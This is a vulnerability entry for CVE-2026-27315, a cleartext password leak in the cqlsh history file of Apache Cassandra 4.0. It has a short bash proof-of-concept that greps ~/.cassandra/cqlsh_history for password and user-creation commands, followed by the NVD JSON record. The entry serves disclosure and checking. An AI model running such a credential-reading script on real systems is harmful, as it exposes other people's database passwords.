CVE-2026-27315

#!/bin/bash # PoC for CVE-2026-27315: Sensitive Information Leak in cqlsh # This script checks the cqlsh history file for potential plaintext passwords. HISTORY_FILE="$HOME/.cassandra/cqlsh_history" if [ -f "$HISTORY_FILE" ]; then echo "[+] Found cqlsh history file at: $HISTORY_FILE" echo "[+] Searching for potential passwords..." # Search for common keywords associated with password usage in CQL grep -i -E "(PASSWORD|LOGIN|CREATE USER|ALTER USER)" "$HISTORY_FILE" else echo "[-] cqlsh history file not found." fi

{"cve": {"id": "CVE-2026-27315", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:27.827", "lastModified": "2026-04-15T15:47:57.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via  ~/.cassandra/cqlsh_history local file access.\n\nUsers are recommended to upgrade to version 4.0.20, which fixes this issue.\n\n--\nDescription: Cassandra's command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user's home directory.\n\nHowever, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cassandra:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.20", "matchCriteriaId": "C531A747-3AEF-4CDC-B614-784DC3B6213E"}]}]}], "references": [{"url": "https://issues.apache.org/jira/browse/CASSANDRA-21180", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Issue Tracking"]}, {"url": "https://lists.apache.org/thread/ft77zrk2mzt8qsch4g6jqjj4901d22k3", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}